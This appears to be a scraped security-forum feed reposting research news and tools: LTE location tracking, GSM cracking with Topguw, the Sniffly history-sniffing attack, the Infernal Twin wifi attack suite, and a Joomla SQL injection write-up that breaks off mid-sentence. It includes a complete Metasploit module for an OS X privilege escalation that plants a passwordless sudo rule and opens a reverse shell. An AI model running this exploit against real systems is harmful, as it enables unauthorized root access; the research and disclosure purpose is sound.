Nytro

Low-cost IMSI catcher for 4G/LTE networks tracks phone’s precise locations $1,400 device can track users for days with little indication anything is amiss. by Dan Goodin - Oct 28, 2015 2:59pm EET Researchers have devised a low-cost way to discover the precise location of smartphones using the latest LTE standard for mobile networks, a feat that shatters widely held perceptions that it's immune to the types of attacks that targeted earlier specifications. The attacks target the LTE specification, which is expected to have a user base of about 1.37 billion people by the end of the year. They require about $1,400 worth of hardware that run freely available open-source software. The equipment can cause all LTE-compliant phones to leak their location to within a 32- to 64-foot (about 10 to 20 meter) radius and in some cases their GPS coordinates, although such attacks may be detected by savvy phone users. A separate method that's almost impossible to detect teases out locations to within an area of roughly one square mile in an urban setting. GSM networks leak unique identifiers of cellphones for anyone to see. A team … The researchers have devised a separate class of attacks that causes phones to lose connections to LTE networks, a scenario that could be exploited to silently downgrade devices to the less secure 2G and 3G mobile specifications. The 2G, or GSM, protocol has long been known to be susceptible to man-in-the-middle attacks using a form of fake base station known as an IMSI catcher (like the Stingray). 2G networks are also vulnerable to attacks thatreveal a phone's location within about 0.6 square mile. 3G phones suffer from a similar tracking flaw. The new attacks, described in a research paper published Monday, are believed to be the first to target LTE networks, which have been widely viewed as more secure than their predecessors."The LTE access network security protocols promise several layers of protection techniques to prevent tracking of subscribers and ensure availability of network services at all times," the researchers wrote in the paper, which is titled "Practical attacks against privacy and availability in 4G/LTE mobile communication systems." "We have shown that the vulnerabilities we discovered in LTE access network security protocols lead to new privacy and availability threats to LTE subscribers." Like some of its predecessors, LTE attempts to conceal the location of a specific phone by assigning it a regularly changing TMSI, short for a temporary mobile subscriber identity. When a network interacts with a handset, it will address it by its TMSI rather than by its phone number or other permanent identifier to prevent attackers monitoring network traffic from tracking the location of a given user. The 2G attack worked around this scheme by sending phones an invisible text message or imperceptibly brief call that caused the mobile network locate the phone. That paging request allowed the researchers to tie the TMSI to the phone number. Passive aggression versus evolved NodeB The researchers behind the LTE attack found that similar paging requests can be triggered by social messaging apps such as those provided by Facebook, WhatsApp, and Viber with little or no indication to the owner that any tracking is taking place. A Facebook message sent by someone not in the receiver's friend list, for instance, will cause the text to be silently diverted to a folder marked "other." But behind the scenes, an attacker can use the data sent over the network to link the receiver's Facebook profile to the TMSI. The TMSI, in turn, can be used to locate the phone and track it as it moves from place to place. A text sent through Whatsapp or Viber, meanwhile, first must be returned by the targeted phone owner. From then on, the attacker can use the apps' typing notification feature to trigger paging requests. The researchers describe such exploits as "semi-passive" because they mainly involve the passive monitoring of network traffic, rather than the impersonation and traffic manipulation found a in a fully active man-in-the-middle attack. Attackers can also opt to launch far more accurate active attacks by operating a rogue base station, which in LTE parlance is known as an eNodeB, short for evolved NodeB. To create their own eNodeB, the researchers used a computer-controlled radio known as a Universal Software Radio Peripheral that ran OpenLTE, an open-source implementation of the official LTE specification. The total cost of the gear, including the the radio board and antennas, was about €1,250 (about $1,400), Ravishankar Borgaonkar, one of the researchers and a post-doctorate student at Aalto University in Finland, told Ars. When running in active mode, the eNodeB impersonates an official base station provided by a network carrier and forces LTE phones to connect to it. The attackers can then run trouble-shooting routines that cause the handset to provide a wealth of information, including all nearby base stations and the signal strength of each one. Attackers can use the data to triangulate the precise location of the device. In some cases, the rogue eNodeB can be used to obtain the GPS coordinates of the phone. An exclusive first look at Pwnie's new tool for catching cellular network attacks. While the active attack provides much more granular location data, it comes at a cost. Darshak, an IMSI-catcher detection app that was released at the 2014 Blackhat security conference in Las Vegas, as well as similar apps from Pwnie Express and others can easily detect the full-on attacks. That means the semi-passive attacks may be preferable for many attackers, even though the location data is coarser.There's another feature that makes the semi-passive attacks attractive: At least one of the LTE networks the researchers studied allowed TMSIs to last as long as three days before being changed. That means an attacker who executed such an attack could use it to track a target's comings and goings for days with an accuracy of about a half mile. While it's likely the messaging apps will try to make changes that thwart the attack, it wouldn't be surprising if there are other ways to trigger the paging requests. But wait... there’s more The paper includes a separate attack that prevents phones from connecting to LTE networks. Such an attack would either prevent a phone from receiving voice or data service, or it would cause the devices to connect using 3G or even 2G technology, which are vulnerable to other types of exploits. In any event, the denial-of-service attacks are generally effective until after a device is rebooted. The researchers also included Altaf Shaik, a doctoral student at Technische Universität Berlin; N. Asokan of Aalto University and University of Helsinki; Valtteri Niemi of the University of Helsinki; and Jean-Pierre Seifert, a professor at Technische Universität Berlin. They said they contacted all manufacturers and carriers affected by their research in June and July and have proposed several changes they can make to better secure their products and networks. The researchers are scheduled to present their findings at the upcoming Blackhat Security conference in Amsterdam, theT2 Security conference 2015, and the Internet Society NDSS conference. A brief description of the attacks is here. As noted earlier, several of the vulnerabilities exploited reside in the LTE specification itself. That likely means every LTE-compatible manufacturer and carrier is vulnerable to these attacks. A fix will almost certainly take time and money, but at least there will be near unanimous agreement among industry partners that the weaknesses represent a concrete and imminent threat to customers. Sursa: http://arstechnica.com/security/2015/10/low-cost-imsi-catcher-for-4glte-networks-track-phones-precise-locations/

Eu am citit "C++ - Manual complet - Herbert Schildt". M-a ajutat. Poti incerca: "Limbajele C si C++ pentru incepatori - Negrescu Liviu" Iar pentru avansati recomand: "Secrete C++ - Constantin Galatan"

[h=1]The Bug Hunters Methodology[/h] Welcome! This repo is a conglomeration of tips, tricks, tools, and data analysis to use while doing web application security assessments, and more specifically towards bug hunting in bug bounties. These methodology pieces are presented as an abbreviated testing methodology for use in bug bounties. It is based off of the research gathered for the Defcon 23 talk "How to shot Web: better hacking in 2015". The current sections are divided as follows: philosophy discovery mapping tactical fuzzing XSS SQLi LFI CSRF web services mobile vulnerabilities The goal of the project is to incorporate more up to date resources for bug hunters and web hackers to use during thier day-to-day work. @jhaddix [h=2]Defcon Video[/h]Link: https://drive.google.com/file/d/0B15XPa08CyxhQ1J2T2tOUUJuSFk/view Sursa: https://github.com/jhaddix/tbhm

Nu va chinuiti sa mai postati, nu mai permitem: 1. root-uri 2. cPanels 3. VNC-uri 4. SMTP-uri ... Cu alte cuvinte: nu se mai vand/cumpara lucruri furate (sparte).

HACKING GSM SIGNALS WITH AN RTL-SDR AND TOPGUW The ability to hack some GSM signals has been around for some time now, but the steps to reproduce the hack have been long and difficult to set up. Recently RTL-SDR.com reader Bastien wrote into us to let us know about his recently released project called Topguw. Bastien’s Topguw is a Linux based program that helps piece together all the steps required in the GSM hacking process. Although the steps are simplified, you will still need some knowledge of how GSM works, have installed Airprobe and Kraken, and you’ll also need a 2TB rainbow table which keeps the barrier to this hack still quite high. Bastien writes about his software: So like I said my software can “crack” SMS and call over GSM network. How ? I put quotation marks in crack because my software is not enough to deciphered GSM itself. My software can make some steps of the known-plaintext attack, introduce by Karsten Nohl, and by the way, increase the time to decipher an SMS or call. I’ll not explain here all the steps because they are long and tedious, but there is a lot of work done behind the Gui. Actually my software can extract Keystream (or try to find some of them) from a capture file of GSM, or by sniffing GSM with a rtl-sdr device. Then you just have to use Kraken to crack the key and you’re able to decipher sms or call. Why ? This hack is very interesting! With only a little receiver (rtl-sdr) and some hard-disk capacity (2Tb), everyone can try to hack the GSM. It’s very low cost compare to other hack vector. Moreover the success rate is really great if you guess the Keystream correctly. So when I started to done this with my hands I though -> why don’t try to make something to do this automatically. This is how Topguw was born. Topguw, I hope, will sensitize people about risk they take by calling or sending sms with GSM. My software is currently in beta version but I did run several time and I got good results. Maybe better than something done by hand. But Topguw is made to help people who want to learn the hack. This is why several files are made to help GSM reverse-engineering. Topguw can be downloaded from GitHub at https://github.com/bastienjalbert/topguw. Bastien has also uploaded a video showing his software in action. If you’re interested in Bastiens YouTube channel as he plans to upload another video soon where he shows himself hacking his own GSM sms/call signals. Of course remember that hacking into GSM signals is very illegal and if you do this then you must check the legality of doing so in your country and only receive your own messages or messages that are intended for you. Sursa: Hacking GSM Signals with an RTL-SDR and Topguw - rtl-sdr.com

Sniffly Sniffly is an attack that abuses HTTP Strict Transport Security and Content Security Policy to allow arbitrary websites to sniff a user's browsing history. It has been tested in Firefox and Chrome. More info available in my ToorCon 2015 slides:https://zyan.scripts.mit.edu/presentations/toorcon2015.pdf. Demo Visit http://zyan.scripts.mit.edu/sniffly/ in Firefox/Chrome/Opera with HTTPS Everywhere disabled. If you use an ad blocker, a bunch of advertising domains will probably show up in the "Probably Visited" column (ignore them). How it works I recommend reading the inline comments in src/index.js to understand how Sniffly does a timing attack in both FF and Chrome without polluting the local HSTS store. tl;dr version: User visits Sniffly page Browser attempts to load images from various HSTS domains over HTTP Sniffly sets a CSP policy that restricts images to HTTP, so image sources are blocked before they are redirected to HTTPS. This is crucial! If the browser completes a request to the HTTPS site, then it will receive the HSTS pin, and the attack will no longer work when the user visits Sniffly. When an image gets blocked by CSP, its onerror handler is called. In this case, the onerrorhandler does some fancy tricks to time how long it took for the image to be redirected from HTTP to HTTPS. If this time is on the order of a millisecond, it was an HSTS redirect (no network request was made), which means the user has visited the image's domain before. If it's on the order of 100 milliseconds, then a network request probably occurred, meaning that the user hasn't visited the image's domain. Finding HSTS hosts To scrape an included list of sites (util/strict-transport-security.txt, courtesy Scott Helme) to determine which hosts send HSTS headers, do: $ cd util $ ./run.sh <number_of_batches> > results.log where 1 batch is 100 sites. You can override util/strict-transport-security.txt with a different list, such as the full Alexa Top 1M, if you want. To process and sort the results by max-age, excluding ones with max-age less than 1 day and ones that are preloaded: $ cd util $ ./process.py <results_file> > processed.log Once that's done, you can copy the hosts from processed.log into src/index.js. Running sploitz Visiting file:///path/to/sniffly/src/index.html in Chrome should just work. In Firefox, CSP headers using the tag are apparently not supported yet, so you need to set up a local webserver to serve the CSP HTTP response header. My Nginx server block looks something like this: server { listen 8081; server_name localhost; location / { root /path/to/sniffly/src; add_header Content-Security-Policy "img-src http:"; index index.html; } } Or in .htaccess: <IfModule mod_headers.c> Header set Content-Security-Policy "img-src http:" </IfModule> Or send the header via php. Paste this at the start of the script (and change the name to index.php): <?php $csp_rules = "img-src http:"; // Just to ensure maximum compatibility header('X-WebKit-CSP: '.$csp_rules); header('X-Content-Security-Policy: '.$csp_rules); header('Content-Security-Policy: '.$csp_rules); ?> Caveats Not supported yet in Safari, IE, or Chrome on iOS. Extensions such as HTTPS Everywhere will mess up results. Doesn't work reliably in Tor Browser since timings are rounded to the nearest 100-millisecond. Users with a different HSTS preload list (ex: due to having an older browser) may not see accurate results. Acknowledgements Scott Helme for an initial list of HSTS hosts that he had found so I didn't have to scan the entire Alexa 1M. Chris Palmer for advising on how to file a privacy bug in Chrome. Dan Kaminsky and WhiteOps for sponsoring the ToorCon trip where this was presented. Jan Schaumann and Chris Rohlf for being early testers. Everyone who let me sleep on their couch while I did this over my "vacation break". You know who you are! Sursa: https://github.com/diracdeltas/sniffly

Tutorial - Beginner's Guide to Fuzzing Part 1: Simple Fuzzing with zzuf Part 1: zzuf ?? Part 2: Address Sanitizer ?? Part 3: american fuzzy lop The goal of this tutorial is to get the message out that fuzzing is really simple. Many free software projects today suffer from bugs that can easily be found with fuzzing. This has to change and I hope we can make fuzzing an integral part of most project's development process. What fuzzing does is that we feed an application with a large number of malformed inputs and look for undesired behaviour, e. g. crashes. We usually do this by taking a valid input and add random errors to it. Promising fuzzing targets are tools that provide parsers for a large number of exotic file formats. Let's take ImageMagick as an example. It's a set of command line tools that process images in a large number of file formats. How do we fuzz it? We start by generating some input samples. It's usually a good idea to fuzz with small files, so first we create a simple image in any format with small dimensions, e.g. a 3x3 pixel PNG. We'll name that example.png Now we convert that into various other file formats. In this case you can just use ImageMagick itself or more precisely the tool convert that is part of ImageMagick to create your example files: convert example.png example.gif convert example.png example.xwd convert example.png example.tga Use as many as you like (convert -list format will show you all supported formats). Now we need malformed versions of these example files. Here we start using the tool zzuf. It's a simple fuzzing tool and is available in most Linux distributions. Articol complet: https://fuzzing-project.org/tutorial1.html

Infernal Twin – Automatic Wifi Hacking Tool Infernal Twin is an automatic wifi hacking tool, basically a Python suite created to aid penetration testers during wireless assessments, it automates many of the common attacks – which can get complicated and hard to manage when executed manually. The author noticed a gap in the market with there being many tools to automate web application testing and network pen-tests, but nothing really aimed at Wifi apart from some commercial tools. So this is an attempt to create a ‘1-click’ style wifi attack tool – something likeMetasploit. A framework with a whole bunch of different attack vectors bundled together in one interface. Features WPA2 hacking WEP Hacking WPA2 Enterprise hacking Wireless Social Engineering SSL Strip Evil Access Point Creation Infernal Wireless Report generation PDF Report HTML Report Note taking function Data is saved into Database Network mapping MiTM Probe Request The tool leverages the work done on other utilities to avoid reinventing the wheel, popular wifi security tools such as aircrack-ng and SSLStrip. You can download Infernal Twin here: infernal-twin-master.zip Or read more here. Sursa: http://www.darknet.org.uk/2015/10/infernal-twin-automatic-wifi-hacking-tool/

Mac OS X 10.9.5 / 10.10.5 rsh/libmalloc Privilege Escalation Authored by rebel, shandelman116 | Site metasploit.com This Metasploit module writes to the sudoers file without root access by exploiting rsh and malloc log files. Makes sudo require no password, giving access to su even if root is disabled. Works on OS X 10.9.5 to 10.10.5 (patched on 10.11). ### This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation', 'Description' => %q{ This module writes to the sudoers file without root access by exploiting rsh and malloc log files. Makes sudo require no password, giving access to su even if root is disabled. Works on OS X 10.9.5 to 10.10.5 (patched on 10.11). }, 'Author' => [ 'rebel', # Vulnerability discovery and PoC 'shandelman116' # Copy/paste AND translator monkey ], 'References' => [ ['EDB', '38371'], ['CVE', '2015-5889'] ], 'DisclosureDate' => 'Oct 1 2015', 'License' => MSF_LICENSE, # Want to ensure that this can be used on Python Meterpreter sessions as well 'Platform' => ['osx', 'python'], 'Arch' => [ARCH_X86_64, ARCH_PYTHON], 'SessionTypes' => ['shell', 'meterpreter'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.9.5-10.10.5', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' } )) register_options( [ OptInt.new('WaitTime', [true, 'Seconds to wait for exploit to work', 60]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class ) end def exploit # Check OS os_check # Check if crontab file existed already so it can be restored at cleanup if file_exist? "/etc/crontab" @crontab_original = read_file("/etc/crontab") else @crontab_original = nil end # Writing payload if payload.arch.include? ARCH_X86_64 vprint_status("Writing payload to #{payload_file}.") write_file(payload_file, payload_source) vprint_status("Finished writing payload file.") register_file_for_cleanup(payload_file) elsif payload.arch.include? ARCH_PYTHON vprint_status("No need to write payload. Will simply execute after exploit") vprint_status("Payload encodeded is #{payload.encoded}") end # Run exploit sploit # Execute payload print_status('Executing payload...') if payload.arch.include? ARCH_X86_64 cmd_exec("chmod +x #{payload_file}; #{payload_file} & disown") elsif payload.arch.include? ARCH_PYTHON cmd_exec("python -c \"#{payload.encoded}\" & disown") end vprint_status("Finished executing payload.") end def os_check # Get sysinfo sysinfo = get_sysinfo # Make sure its OS X (Darwin) unless sysinfo["Kernel"].include? "Darwin" print_warning("The target system does not appear to be running OS X!") print_warning("Kernel information: #{sysinfo['Kernel']}") return end # Make sure its not greater than 10.5 or less than 9.5 version = sysinfo["ProductVersion"] minor_version = version[3...version.length].to_f unless minor_version >= 9.5 && minor_version <= 10.5 print_warning("The target version of OS X does not appear to be compatible with the exploit!") print_warning("Target is running OS X #{sysinfo['ProductVersion']}") end end def sploit user = cmd_exec("whoami").chomp vprint_status("The current effective user is #{user}. Starting the sploit") # Get size of sudoers file sudoer_path = "/etc/sudoers" size = get_stat_size(sudoer_path) # Set up the environment and command for spawning rsh and writing to crontab file rb_script = "e={\"MallocLogFile\"=>\"/etc/crontab\",\"MallocStackLogging\"=>\"yes\",\"MallocStackLoggingDirectory\"=>\"a\n* * * * * root echo \\\"ALL ALL=(ALL) NOPASSWD: ALL\\\" >> /etc/sudoers\n\n\n\n\n\"}; Process.spawn(e,[\"/usr/bin/rsh\",\"rsh\"],\"localhost\",[:out, :err]=>\"/dev/null\")" rb_cmd = "ruby -e '#{rb_script}'" # Attempt to execute print_status("Attempting to write /etc/crontab...") cmd_exec(rb_cmd) vprint_status("Now to check whether the script worked...") # Check whether it worked crontab = cmd_exec("cat /etc/crontab") vprint_status("Reading crontab yielded the following response: #{crontab}") unless crontab.include? "ALL ALL=(ALL) NOPASSWD: ALL" vprint_error("Bad news... it did not write to the file.") fail_with(Failure::NotVulnerable, "Could not successfully write to crontab file.") end print_good("Succesfully wrote to crontab file!") # Wait for sudoers to change new_size = get_stat_size(sudoer_path) print_status("Waiting for sudoers file to change...") # Start timeout block begin Timeout.timeout(datastore['WaitTime']) { while new_size <= size Rex.sleep(1) new_size = get_stat_size(sudoer_path) end } rescue Timeout::Error fail_with(Failure::TimeoutExpired, "Sudoers file size has still not changed after waiting the maximum amount of time. Try increasing WaitTime.") end print_good("Sudoers file has changed!") # Confirming root access print_status("Attempting to start root shell...") cmd_exec("sudo -s su") user = cmd_exec("whoami") unless user.include? "root" fail_with(Failure::UnexpectedReply, "Unable to acquire root access. Whoami returned: #{user}") end print_good("Success! Acquired root access!") end def get_stat_size(file_path) cmd = "env -i [$(stat -s #{file_path})] bash -c 'echo $st_size'" response = cmd_exec(cmd) vprint_status("Response to stat size query is #{response}") begin size = Integer(response) return size rescue ArgumentError fail_with(Failure::UnexpectedReply, "Could not get stat size!") end end def payload_source if payload.arch.include? ARCH_X86_64 return Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) elsif payload.arch.include? ARCH_PYTHON return payload.encoded end end def payload_file @payload_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end def cleanup vprint_status("Starting the cron restore process...") super # Restore crontab back to is original state # If we don't do this, then cron will continue to append the no password rule to sudoers. if @crontab_original.nil? # Erase crontab file and kill cron process since it did not exist before vprint_status("Killing cron process and removing crontab file since it did not exist prior to exploit.") rm_ret = cmd_exec("rm /etc/crontab 2>/dev/null; echo $?") if rm_ret.chomp.to_i == 0 vprint_good("Successfully removed crontab file!") else print_warning("Could not remove crontab file.") end Rex.sleep(1) kill_ret = cmd_exec("killall cron 2>/dev/null; echo $?") if kill_ret.chomp.to_i == 0 vprint_good("Succesfully killed cron!") else print_warning("Could not kill cron process.") end else # Write back the original content of crontab vprint_status("Restoring crontab file back to original contents. No need for it anymore.") cmd_exec("echo '#{@crontab_original}' > /etc/crontab") end vprint_status("Finished the cleanup process.") end end Sursa: https://packetstormsecurity.com/files/134087/rsh_libmalloc.rb.txt

Run-DMA Authors: Michael Rushanan and Stephen Checkoway, Johns Hopkins University Open Access Content USENIX is committed to Open Access to the research presented at our events. Papers and proceedings are freely available to everyone once the event begins. Any video, audio, and/or slides that are posted after the event are also free and open to everyone. Support USENIX and our commitment to Open Access. Rushanan PDF View the slides BibTeX Abstract: Copying data from devices into main memory is a computationally-trivial, yet time-intensive, task. In order to free the CPU to perform more interesting work, computers use direct memory access (DMA) engines—a special-purpose piece of hardware—to transfer data into and out of main memory. We show that the ability to chain together such memory transfers, as provided by commodity hardware, is sufficient to perform arbitrary computation. Further, when hardware peripherals can be accessed via memory-mapped I/O, they are accessible to "DMA programs." To demonstrate malicious behavior, we build a proof-of-concept DMA rootkit that modifies kernel objects in memory to perform privilege escalation for target processes. Sursa: https://www.usenix.org/conference/woot15/workshop-program/presentation/rushanan

Weird New Tricks for Browser Fingerprinting yan (@bcrypt) ToorCon 2015 Tracking web users is all the rage Show ads! Inject QUANTUM malware Cybercatch cybercriminals Gather website analytics Detect fraud / droidnets Enforce paywalls etc. Download: https://zyan.scripts.mit.edu/presentations/toorcon2015.pdf

[h=1]CppCon 2015: Bjarne Stroustrup “Writing Good C++14”[/h] Publicat pe 23 sept. 2015 cppcon | The C++ Conference -- Presentation Slides, PDFs, Source Code and other presenter materials are available at: https://github.com/isocpp/CppCoreGuid... -- How do we use C++14 to make our code better, rather than just different? How do we do so on a grand scale, rather than just for exceptional programmers? We need guidelines to help us progress from older styles, such as “C with Classes”, C, “pure OO”, etc. We need articulated rules to save us from each having to discover them for ourselves. Ideally, they should be machine-checkable, yet adjustable to serve specific needs. In this talk, I describe a style of guidelines that can be deployed to help most C++ programmers. There could not be a single complete set of rules for everybody, but we are developing a set of rules for most C++ use. This core can be augmented with rules for specific application domains such as embedded systems and systems with stringent security requirements. The rules are prescriptive rather than merely sets of prohibitions, and about much more than code layout. I describe what the rules currently cover (e.g., interfaces, functions, resource management, and pointers). I describe tools and a few simple classes that can be used to support the guidelines. The core guidelines and a guideline support library reference implementation will be open source projects freely available on all major platforms (initially, GCC, Clang, and Microsoft). -- Videos Filmed & Edited by Bash Films: Bash Films | Award-Winning Video Production

[h=1]Firefix: Hardening Firefox for Privacy[/h] While Tor officially recommends using their Tor-hardened version of Firefox, it doesn’t come without its share of problems, including forensic artifacts, as well as other potential vulnerabilities. As the Tor browser is not often updated as quickly as Firefox itself, one may find benefit in using tor with the latest version of firefox… Running tor apart from the browser isn’t difficult, and the Tor command-line client can be easily installed on most operating systems either through package managers (such as Macports) or by compiling from sources. With Tor running in a terminal window, Firefox can be easily made to proxy through it. For example: network.proxy.socks = “127.0.0.1” network.proxy.socks_port = 9050 network.proxy.socks_remote_dns = true network.proxy.type = 1 One of the benefits to running Tor yourself are the ability to use other applications (other than a browser) with it, by using a popular tool named torsocks, which can proxy many applications through Tor easily. Back to Firefox, if you’re going to use the official version of the browser, there are a number of configuration fixes you’ll want to make to protect your privacy. In addition to hardening Firefox, it’s always a good idea to install a local firewall such as Little Snitch, and create a profile that blocks all outgoing traffic on your machine, except for Tor traffic. Alternatively, there is also a personal onion router project to create a dedicated router. Of course, you don’t need to be running Tor to want to harden Firefox. There are a number of other benefits to hardening Firefox as well: to reduce the exposure of your personal information as you browse, to reduce the forensic artifacts left behind on your machine, and to reduce your attack surface, to name a few. Here is a good list to start of features in Firefox that should be changed that will help improve privacy. NOTE: Use at your own risk. I make no warranties about any of this. accessibility.typeaheadfind.flashBar = 0 app.update.auto = false app.update.disable_button.showUpdateHistory = false browser.privatebrowsing.autostart = true browser.sessionstore.restore_on_demand = false browser.shell.checkDefaultBrowser = false browser.tabs.loadInBackground = false datareporting.healthreport.uploadEnabled = false datareport.healthreport.service.enabled = false dom.ipc.plugins.flash.subprocess.crashreporter.enabled = false dom.ipc.plugins.reportCrashURL = false dom.w3c_touch_events.expose = false media.peerconnection.enabled = false media.peerconnection.video.enabled = false network.cookie.cookieBehavior = 1 network.websocket.enabled = false pdfjs.previousHandler.alwaysAskBeforeHandling = true pdfjs.previousHandler.preferredAction = 4 places.history.enabled = false plugins.notifyMissingFlash = false pref.downloads.disable_button.edit_actions = false security.ssl3.ecdhe_ecdsa_rc4_128_sha = false security.ssl3_ecdhe_rsa_rc4_128_sha = false security.ffl3.rsa_rc4_128_md5 = false security.ssl3_rsa_rc4_128_sha = false security.ssl3.rsa_des_ede3_sha = false security.ssl.require_safe_negotiation = true security.ssl.treat_unsafe_negotiation_as_broken = true security.tls.version.min = 1 browser.formfill.enable = false browser.cache.disk.enable = false browser.cache.disk_cache_ssl = false browser.cache.offline.enable = false dom.event.clipboardevents.enabled = false geo.enabled = false network.cookie.lifetimePolicy = 2 network.dnsCacheExpiration = 0 network.dnsCacheEntries = 0 browser.urlBar.matchBehavior = 2 browser.sessionstore.restore_on_demand = false browser.sessionstore.resume_from_crash = false browser.sessionstore.enabled = false browser.sessionhistory.max_entries = 0 layout.spellcheckDefault = 0 browser.newtabpage.directory.ping = "" browser.newtabpage.directory.source = "" browser.newtabpage.enabled = false browser.newtabpage.enhanced = false browser.search.suggest.enabled = false datareporting.policy.dataSubmissionEnabled = false dom.storage.enabled = false network.prefetch-next = false plugin.state.flash = 0 plugin.state.quicktime = 0 plugin.state.silverlight = 0 plugins.click_to_play = true browser.sesssionstore.privacy_level = 2 browser.sessionstore.privacy_level_deferred = 2 privacy.trackingprotection.enabled = true toolkit.telemetry.enabled = false extensions.getAddons.cache.enabled = false extensions.blocklist.enabled = false Sursa: Firefix: Hardening Firefox for Privacy | Zdziarski's Blog of Things

Ban permanent amandoi.

Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access October 22, 2015 Posted By Assi Barak Overview Trustwave SpiderLabs researcher Asaf Orpani has discovered an SQL injection vulnerability in versions 3.2 through 3.4.4 of Joomla, a popular open-source Content Management System (CMS). Joomla had a 6.6 percent share of the market for website CMSs as of October 20, 2015 according to W3Techs—second only to WordPress. Internet services company BuiltWith estimates that as many as 2.8 million websites worldwide use Joomla. CVE-2015-7297, CVE-2015-7857, and CVE-2015-7858 cover the SQL injection vulnerability and various mutations related to it. CVE-2015-7857 enables an unauthorized remote user to gain administrator privileges by hijacking the administrator session. Following exploitation of the vulnerability, the attacker may gain full control of the web site and execute additional attacks. The vulnerability can be exploited in Joomla versions 3.2 (released in November 2013) through version 3.4.4. Because the vulnerability is found in a core module that doesn't require any extensions, all websites that use Joomla versions 3.2 and above are vulnerable. Asaf also uncovered the related vulnerabilities CVE-2015-7858 and CVE-2015-7297 as part of his research. Trustwave SpiderLabs recommends that ALL Joomla users update their Joomla installations to version 3.4.5. Version 3.4.5 is dedicated to fixing this security issue andexpected to be released Thursday, October 22 at approximately 14:00 UTC. Notes For Trustwave Customers and ModSecurity Users Trustwave WAF's "Blind SQL Injection" rule detects this attack provided the rule is enabled. A dedicated, fine-tuned rule will be issued in an upcoming signature update (CorSigs 4.39). If it's enabled, ModSecurity Commercial Rule Set rule 95007 blocks attempts to exploit this vulnerability. For Commercial Rule Set customers, a virtual patch will also be issued soon. Technical Overview We discovered that the following code in /administrator /components /com_contenthistory/ models/history.php is vulnerable to SQL injection: Figure 1: Joomla Core SQL Injection Vulnerable code Several other code elements of Joomla contribute to the exploitation of this vulnerability. They are described in our detailed analysis. The following request is the final blow, as it returns the first active session key from the session table, found in the website database (considering the database Joomla tables name prefix are 'jml_'): Figure 2 : Exploiting the vulnerability to gain the administrator session key Executing this request on the Joomla site returns the following page: Figure 3: Executing the request returns the admin session key Bingo! We've extracted the session ID from the database (we explain how below in our detailed analysis). By pasting the session ID we've extracted—that of an administrator in this case—to the cookie section in the request to access the /administrator/ folder, we're granted administrator privileges and access to the administrator Control Panel: Figure 4: Using the admin key to hijack the session - we are in! TECHNICAL DETAILS The Road to the Joomla Admin Panel Joomla is written in PHP and uses object-oriented programming (OOP) techniques and software design patterns. It stores data in a MySQL, MS SQL, or PostgreSQL database. Joomla's features include page caching, RSS feeds, printable versions of pages, news flashes, blogs, search and support for language internationalization. Joomla is also used for e-commerce via a popular shopping cart template. Virtuemart.com is an e-commerce solution built on Joomla. Because the vulnerability is located in Joomla's core module, e-commerce sites using VirtueMart are also vulnerable to exploit. Figure 7: VirtueMart online shops - Developed over Joomla The Exploit The code vulnerable to SQL injection is found in /administrator/components/com_contenthistory/models/history.php and highlighted below: Figure 8: The code in Joomla vulnerable to SQL Injection ContenthistoryModelHistory represents a model of the content history module. This model is designed to be only for ADMINS USE. How I gained access is another story, but you'll understand by the end of this blog post. The class ContenthistoryModelHistory inherits from JModelList, which is the parent class for all types of models that handle lists of items. Components will usually use different models to serve the specific functioning of the component within the application. This specific one states what it does in its declaration below: Figure 9: Documentation of the vulnerable model 'ContenthistoryModelHistory' To start, I found this piece of code "requiring" a PHP file that contains the content history module controller. The code was located in the administrator folder and, surprisingly, accessible by guests of the website. To execute this code, an attacker only needs to send a request with a parameter stating 'contenthistory' as the component he wants to access. In other words, as a guest I can access this even though it requires a file from JPATH_COMPONENT_ADMINISTRATOR, obviously an item in the admin folder. Any access to the 'admin zone' will always draw a hacker's attention. Figure 10: A 'require_once' of a file located in the Administrator folder In the contenthistory.php file found in the admin components folders, we can see that once contenthistory loads, a controller for the content history module is created allowing us to generate the view we want to see: Figure 11: The file required in figure 10, creating an instance of the content history controller In the first line the code gets an instance of the content history module controller, and then on the second line it calls a function of the controller called execute and a parameter. The execute function leads us closer to our vulnerable model. Below you see the execute function's code: Figure 12: 'execute' function called by the content history controller at figure 11 Remember the parameter task that was passed as an argument to the execute function? Well, if you don't pass any value, the default value is display. That code shows us that the function display is being called in the controller. And here's that function: Figure 13: 'display' function of the content history controller, called in figure 12 In the display function I find a getModel function. Digging further into this function makes me realize that a model is created there according to user-supplied parameters. As you can see at the beginning of the display function, the viewName parameter, which is passed to the getModel function, is coming from user input. So after supplying the component('option') and view parameters in the URL as described in the POC, we've got our hands on the vulnerable model. Since there was arequire_once call to the admins folder where the model is found, it's easy to guide Joomla in creating the desired model, and that model has now been setModel-ed into the configuration. Now that I can control the model the following question arises, can I also force the execution of the vulnerable code with which we started? From personal experience and after researching Joomla, I understood something regarding models in Joomla. Here's the vulnerable code again: Figure 14: The code in Joomla! vulnerable to SQL injection The getListQuery function is an auxiliary function of the model that helps build an SQL query whenever the 'items' of that model need to be retrieved from the database. One objective of the display function is to create the requested page content. The initial assumption of the displaying process is that model 'items' are being retrieved from the database because they are an essential part of the requested page content. That's why the getListQuery function is called as part of this long process. Now that we understand why that function is executed, there is still something that needs explaining. The query is being 'made', and the highlighted area (where we inject SQL) is at the 'SELECT' part of the SQL query. Common sense tells us that this SQL query will be executed later—and so it does when testing the exploit on a test site of Joomla on a local computer. But, what is the expression $this->getState('list.select',…)? And how do we control it? After all, this is a potential place in which to inject the SQL query. First of all, note that the second long parameter in the getState() function is just a 'default value' parameter. This means that if no value is given in 'list.select' then this will be the value. Here you see the getState() function implementation: Figure 15: 'getState' function returning the value injected to the SQL query The return value of the getState() function in our case is the return value of a get()function, returning a value indexed to the configuration entry provided in $propertyparameter, which in our case is 'list.select'. An interesting function populateState() draws my attention because of its name and the fact that it's 